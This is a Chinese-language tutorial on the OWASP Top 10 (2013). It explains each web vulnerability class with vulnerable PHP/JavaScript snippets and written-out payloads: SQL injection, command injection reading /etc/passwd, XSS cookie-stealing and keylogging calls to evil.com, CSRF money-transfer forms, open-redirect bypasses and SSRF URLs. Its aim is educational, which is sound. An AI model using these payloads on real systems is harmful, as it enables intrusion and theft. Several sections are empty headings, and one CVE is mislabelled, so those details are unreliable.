OWASP TOP 10 (2013) 深度技术解析：原理、利用与防御

目录

A1 – Injection（注入攻击）

核心原理

注入攻击的本质是将不可信数据作为命令或查询的一部分发送给解释器，导致解释器执行了非预期的命令或访问未授权的数据。攻击者通过构造特殊输入，打破原有的语法结构，插入恶意代码。

SQL 注入（SQLi）深度解析

1. 原理

当应用程序将用户输入直接拼接进 SQL 语句，而未进行参数化查询或预编译处理时，攻击者可以操纵输入改变 SQL 语句的逻辑。

脆弱代码示例（PHP）：

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '" . $id . "'";
$result = mysql_query($query);

2. 各种利用方式

① 基于错误的注入（Error-based SQLi） 利用数据库报错信息获取数据库结构。

' AND 1=1 —
' AND 1=2 —
' UNION SELECT 1,2,3 —

② 联合查询注入（Union-based SQLi） 通过 UNION SELECT 将恶意查询结果合并到正常返回中。

' UNION SELECT null, username, password FROM users —

③ 布尔盲注（Boolean-based Blind SQLi） 当页面不返回具体错误信息，但返回内容存在差异时，通过逻辑判断逐位获取数据。

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' —

④ 时间盲注（Time-based Blind SQLi） 当页面无论查询是否成功都返回相同内容时，利用数据库延时函数判断条件。

' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97, SLEEP(5), 0) —

⑤ 堆叠查询注入（Stacked Queries） 在支持多条语句的数据库（如 SQL Server, PostgreSQL）中，使用分号结束当前语句并执行新语句。

'; DROP TABLE users; —
'; INSERT INTO users VALUES ('hacker','password'); —

⑥ 二次注入（Second-Order SQLi） 恶意数据被安全地存储到数据库中，但在后续被读取并拼接进新的 SQL 语句时触发。

• 用户注册用户名：admin'–
• 系统安全存入数据库
• 后续修改密码时：UPDATE users SET password='newpass' WHERE username='admin'–'

3. 其他注入类型

命令注入（OS Command Injection）

$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

Payload: 8.8.8.8; cat /etc/passwd 或 8.8.8.8 && whoami

LDAP 注入

(&(objectClass=user)(cn=*))(&(objectClass=user)(cn=*)())

XML 注入 / XPath 注入

' or '1'='1

A2 – Broken Authentication and Session Management（失效的身份认证与会话管理）

核心原理

身份认证和会话管理功能的实现存在缺陷，导致攻击者能够冒充其他用户身份、窃取会话凭证或绕过认证机制。

各种利用方式

1. 会话固定攻击（Session Fixation）

攻击者事先获取一个有效的会话 ID，诱导受害者使用该会话 ID 登录，从而劫持受害者会话。

攻击者访问网站获取 SessionID=1234
发送链接：http://site.com/login?JSESSIONID=1234
受害者登录后，攻击者使用 SessionID=1234 访问即拥有受害者权限

2. 会话劫持（Session Hijacking）

通过 XSS、网络嗅探、恶意软件等方式窃取用户的 Cookie/Token。

// 通过 XSS 窃取 Cookie
document.location='https://attacker.com/steal?cookie='+document.cookie;

3. 弱密码与暴力破解

• 未实施登录失败锁定机制
• 使用默认密码（admin/admin, root/root）
• 密码复杂度策略缺失

4. 不安全的密码存储

• 明文存储密码
• 使用弱哈希算法（MD5/SHA1 无盐）
• 彩虹表攻击恢复原始密码

5. 认证绕过

• 直接访问受保护页面（如 /admin/）而未检查登录状态
• 修改客户端参数（如 isAdmin=true, role=1）
• 修改 JWT Token 的 payload 中的权限字段（若未验证签名）

6. 不安全的"记住我"功能

• 使用可预测的持久化令牌（如用户名+固定密钥的 MD5）
• 令牌长期有效且服务端无法撤销

A3 – Cross-Site Scripting (XSS)（跨站脚本攻击）

核心原理

XSS 发生在应用程序将不可信数据嵌入网页时未做适当的验证和转义，导致攻击者能够向受害者浏览器注入并执行恶意脚本。

三种类型的深度解析

1. 反射型 XSS（Reflected XSS）

恶意脚本通过 URL 传递，一次性触发，需要诱导用户点击恶意链接。

攻击链：

<!– 脆弱页面：search.php?q=<script>alert(1)</script> –>
<form action="search.php" method="GET">
搜索结果：<?php echo $_GET['q']; ?>
</form>

Payload 演进：

<!– 基础弹窗 –>
<script>alert('XSS')</script>

<!– 窃取 Cookie –>
<script>fetch('https://evil.com/log?c='+document.cookie)</script>

<!– 键盘记录器 –>
<script>
document.onkeypress = function(e) {
fetch('https://evil.com/key?k='+e.key);
}
</script>

<!– 钓鱼：伪造登录表单 –>
<script>
document.body.innerHTML = '<form action="https://evil.com/phish" method="POST">' +
'<h2>请重新登录</h2>' +
'<input name="user"><input type="password" name="pass">' +
'<input type="submit"></form>';
</script>

2. 存储型 XSS（Stored XSS）

恶意脚本被永久存储在目标服务器（数据库、评论、日志），所有访问该页面的用户都会执行。

常见注入点：

• 用户评论、留言板
• 个人资料中的"关于我"
• 文件上传后的文件名显示
• 日志系统（用户名被记录到日志并在管理后台显示）

高级利用：BeEF 框架 存储型 XSS 常配合 BeEF 浏览器利用框架，实现：

• 浏览器指纹识别
• 社会工程学攻击（提示安装插件、输入密码）
• 利用浏览器漏洞获取 Shell
• 作为内网渗透的跳板

3. DOM 型 XSS（DOM-based XSS）

漏洞存在于客户端 JavaScript 代码中，不经过服务器端处理，纯前端路由/渲染导致。

脆弱代码：

// 从 URL 哈希获取内容并写入页面
var hash = location.hash.slice(1);
document.write(hash);
// 攻击：#<<img src=x onerror=alert(1)>

常见 DOM XSS 源与汇：

AngularJS 模板注入（现代变体）：

{{constructor.constructor('alert(1)')()}}

A4 – Insecure Direct Object References（不安全的直接对象引用，IDOR）

核心原理

应用程序直接暴露内部对象的引用（如数据库主键、文件名、目录路径），且未验证当前用户是否有权访问该对象。

各种利用方式

1. 水平越权（Horizontal IDOR）

用户 A 通过修改 ID 访问用户 B 的同等权限资源。

正常请求：GET /api/orders?id=1001
攻击请求：GET /api/orders?id=1002 → 查看其他用户的订单

2. 垂直越权（Vertical IDOR）

普通用户通过修改参数访问管理员功能。

POST /api/users/123/role
Body: {"role": "admin"}

3. 文件目录遍历

GET /download?file=../../../etc/passwd
GET /download?file=..\\..\\..\\windows\\win.ini

4. 不安全的 API 引用

REST API 中直接暴露数据库 ID：

GET /api/users/5/invoices

攻击者遍历 user_id 获取所有用户发票。

5. 预测性 ID 问题

使用自增 ID 而非 UUID，导致资源可被批量遍历：

GET /receipts/10001.pdf
GET /receipts/10002.pdf
GET /receipts/10003.pdf

A5 – Security Misconfiguration（安全配置错误）

核心原理

安全配置错误是最普遍的漏洞，源于不安全的默认配置、临时配置、未打补丁的组件、开放的云存储、错误的 HTTP 头设置等。

各种利用方式

1. 默认配置未修改

• 默认管理员账户（Tomcat: tomcat/tomcat, WebLogic: weblogic/weblogic）
• 默认应用示例页面（/examples, /sample, /phpinfo.php）
• 默认 API 密钥（如 AWS 的 AKIAIOSFODNN7EXAMPLE）

2. 目录列表与敏感文件暴露

GET /backup/ → 返回目录列表
GET /.git/HEAD → 暴露 Git 仓库
GET /config.php.bak → 备份文件下载
GET /WEB-INF/web.xml → Java 配置泄露

3. 不安全的 HTTP 响应头

4. 云存储配置错误

• S3 Bucket 公开读写：https://s3.amazonaws.com/company-backups/
• Azure Blob 公开访问
• 数据库（MongoDB, Elasticsearch）无认证暴露公网

5. 调试与错误信息泄露

开发模式未关闭导致：

{
"error": "SQL syntax error near ''1'' LIMIT 1' at line 1",
"query": "SELECT * FROM users WHERE id = '1'' LIMIT 1",
"stack_trace": "File /var/www/app/models/user.rb:45…"
}

A6 – Sensitive Data Exposure（敏感数据泄露）

核心原理

应用程序未对敏感数据（密码、信用卡号、健康记录、商业机密）实施充分的加密保护，或在传输/存储/备份过程中泄露。

各种利用方式

1. 传输层未加密

• 使用 HTTP 而非 HTTPS
• HTTPS 配置错误：支持 SSLv2/v3、弱密码套件、证书过期
• 混合内容（Mixed Content）：HTTPS 页面加载 HTTP 资源

2. 存储层加密缺陷

• 明文存储密码（2012 年 LinkedIn 事件）
• 使用弱哈希：MD5/SHA1 无盐（彩虹表秒破）
• 可逆加密而非单向哈希（管理员可解密看到用户密码）
• 硬编码密钥在源代码中

3. 自动完成与缓存

<!– 敏感表单开启自动完成 –>
<input type="password" name="ssn" autocomplete="on">

• 浏览器缓存敏感页面
• 代理服务器缓存 HTTPS 内容（若未配置 Cache-Control: no-store）

4. 日志与监控泄露

• 日志中记录完整信用卡号、密码
• 错误页面泄露数据库连接字符串
• 调试日志暴露 API 密钥

5. 侧信道攻击

• 时序攻击（Timing Attack）：通过响应时间差异判断密码正确性
• 错误消息差异："用户不存在" vs "密码错误" → 枚举有效用户名

A7 – Missing Function Level Access Control（缺失的功能级访问控制）

核心原理

应用程序在服务端未执行访问控制检查，仅依赖前端 UI 的隐藏或禁用，导致攻击者能够访问未授权的功能。

各种利用方式

1. 前端隐藏，后端未鉴权

管理员按钮在前端对普通用户 display: none，但 API 端点未验证权限：

// 前端"安全"：普通用户看不到删除按钮
if (user.role !== 'admin') {
document.getElementById('delete-btn').style.display = 'none';
}

攻击者直接调用：

POST /api/admin/delete-user
Body: {"user_id": 123}

2. HTTP 方法绕过

GET /admin/delete?user=123 → 403 Forbidden
POST /admin/delete?user=123 → 200 OK（未对 POST 做鉴权）

3. 参数污染与预测

GET /api/reports?user_id=123 → 只能看自己的
GET /api/reports?user_id=123&role=admin → 可能绕过检查
GET /api/reports?user_id=123|role=admin → 某些 ORM 解析异常

4. 路径遍历与强制浏览

GET /admin/ → 403
GET /ADMIN/ → 200（大小写敏感绕过）
GET /admin/./ → 200（路径规范化差异）
GET /admin%20/ → 200（URL 编码绕过）

5. 业务逻辑漏洞

• 支付流程中跳过验证步骤：Step 1 → 直接 Step 3
• 修改价格参数：price=0, price=-100
• 重复提交优惠券码实现无限折扣

A8 – Cross-Site Request Forgery (CSRF)（跨站请求伪造）

核心原理

攻击者诱导已登录的受害者在不知情的情况下，以其身份向目标网站发送恶意请求。利用的是浏览器自动携带 Cookie 的机制和网站对请求来源的信任。

各种利用方式

1. 经典 GET 型 CSRF

<!– 攻击者在恶意页面中嵌入 –>
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

用户访问恶意页面时，若已登录 bank.com，浏览器自动携带 Cookie 发送请求。

2. POST 型 CSRF

<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

3. JSON CSRF（Content-Type 绕过）

某些服务端仅验证 Content-Type 为 application/json 但不做严格解析：

<form action="https://api.site.com/user/delete" method="POST" enctype="text/plain">
<input name='{"id":123, "foo":"' value='"}'>
</form>
<!– 提交后 body 为 {"id":123, "foo":"="} 可能被解析为 JSON –>

4. Flash 跨域伪造（历史漏洞）

利用 Flash 的 crossdomain.xml 策略不严格，通过 Flash 发送伪造请求并携带 Cookie。

5. CSRF 与 XSS 的结合

若目标站点存在 XSS，攻击者可直接读取 Anti-CSRF Token 并构造合法请求：

// 通过 XSS 读取页面中的 CSRF Token
var token = document.getElementsByName('csrf_token')[0].value;
fetch('/change-email', {
method: 'POST',
body: 'email=attacker@evil.com&csrf_token=' + token
});

6. 登录 CSRF（Login CSRF）

攻击者诱导受害者以攻击者的身份登录第三方网站：

<form action="https://site.com/login" method="POST">
<input name="username" value="attacker">
<input name="password" value="attacker123">
</form>

受害者登录后，攻击者查看该账户历史记录（如搜索历史、购物记录）获取隐私。

A9 – Using Components with Known Vulnerabilities（使用含有已知漏洞的组件）

核心原理

应用程序使用了存在已知漏洞的框架、库、模块或软件，且未跟踪安全更新，导致攻击者可利用公开的 EXP/POC 直接入侵。

各种利用方式

1. 框架级漏洞

• Struts2 系列漏洞（S2-045, S2-057）：OGNL 表达式注入导致 RCE
• Spring4Shell (CVE-2022-22965)：Spring Framework 属性绑定绕过
• Log4Shell (CVE-2021-44228)：JNDI 注入，通过日志记录触发 RCE

2. 依赖库漏洞

• Fastjson 反序列化：特定版本下通过 @type 触发恶意类加载
• Apache Shiro 反序列化：RememberMe Cookie AES 硬编码密钥
• Jackson 反序列化：多态类型处理不当

3. 服务器软件漏洞

• Apache HTTP Server 路径穿越（CVE-2021-41773）
• Nginx 目录穿越（CVE-2021-23017）
• Redis 未授权访问：配合计划任务写 SSH 公钥

4. 供应链攻击

• 恶意 NPM 包（如 event-stream 事件）
• Python 依赖混淆（Typosquatting）
• 使用被篡改的第三方 CDN 资源（jQuery 被植入后门）

5. 信息收集与利用流程

# 1. 识别技术栈
curl -I https://target.com | grep -i "X-Powered-By\\|Server"

# 2. 枚举版本
https://target.com/struts2-showcase/ → 暴露版本号

# 3. 查询漏洞库
# 使用 searchsploit, vulners, NVD 查找对应版本漏洞

# 4. 利用公开 EXP
python struts2_poc.py –target https://target.com –cmd "whoami"

A10 – Unvalidated Redirects and Forwards（未验证的重定向和转发）

核心原理

应用程序将用户重定向到从不可信来源获取的 URL，或内部转发到未经验证的页面，导致钓鱼、恶意软件分发或绕过访问控制。

各种利用方式

1. 开放重定向（Open Redirect）

GET /login?redirect=https://evil.com/phishing

用户登录后被跳转到钓鱼页面，因域名看起来可信（从合法站点跳转），钓鱼成功率极高。

2. 基于重定向的 OAuth 窃取

OAuth 授权流程中：

https://legit.com/oauth?client_id=xxx&redirect_uri=https://evil.com/callback

攻击者构造恶意授权链接，用户授权后，授权码被发送到攻击者服务器。

3. 重定向链绕过

GET /redirect?url=/safe/page → 白名单通过
GET /redirect?url=https://evil.com → 被拦截
GET /redirect?url=//evil.com → 绕过（协议相对 URL）
GET /redirect?url=https://legit.com.evil.com → 子域名欺骗
GET /redirect?url=https://evil.com?x=https://legit.com → 参数污染
GET /redirect?url=%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d → URL 编码绕过

4. 服务端转发（Forward）与包含（Include）

// 攻击者控制 target 参数
String target = request.getParameter("page");
request.getRequestDispatcher(target).forward(request, response);

Payload: page=/WEB-INF/web.xml 或 page=/admin/config（绕过前端认证直接访问内部资源）

5. SSRF 的跳板

某些重定向逻辑可被利用发起服务器端请求：

GET /proxy?url=file:///etc/passwd
GET /proxy?url=gopher://internal:3306/…

综合防御策略矩阵

结语

OWASP TOP 10 2013 版本奠定了现代 Web 安全的基础框架。尽管后续版本（2017、2021）对分类进行了调整（如 2017 将 CSRF 降级为风险项，2021 引入"软件和数据完整性故障"等新类别），但注入、XSS、身份认证、访问控制始终是 Web 应用安全的核心战场。

理解这些漏洞的底层原理（信任边界破坏、输入输出处理不当、权限模型缺失）比记忆具体 Payload 更重要——因为攻击技术持续演进，但安全设计的根本原则（最小权限、纵深防御、不信任任何输入）恒久不变。